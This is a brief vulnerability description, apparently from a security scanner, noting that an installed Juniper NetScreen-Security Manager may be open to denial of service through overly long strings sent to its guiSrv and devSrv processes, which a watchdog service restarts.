The version of Juniper NetScreen-Security Manager (NSM) installed on
the remote host may allow an attacker to deny service to legitimate users using specially-crafted long
strings to the guiSrv and devSrv processes. A watchdog service included in Juniper NSM, though,
automatically restarts the application.
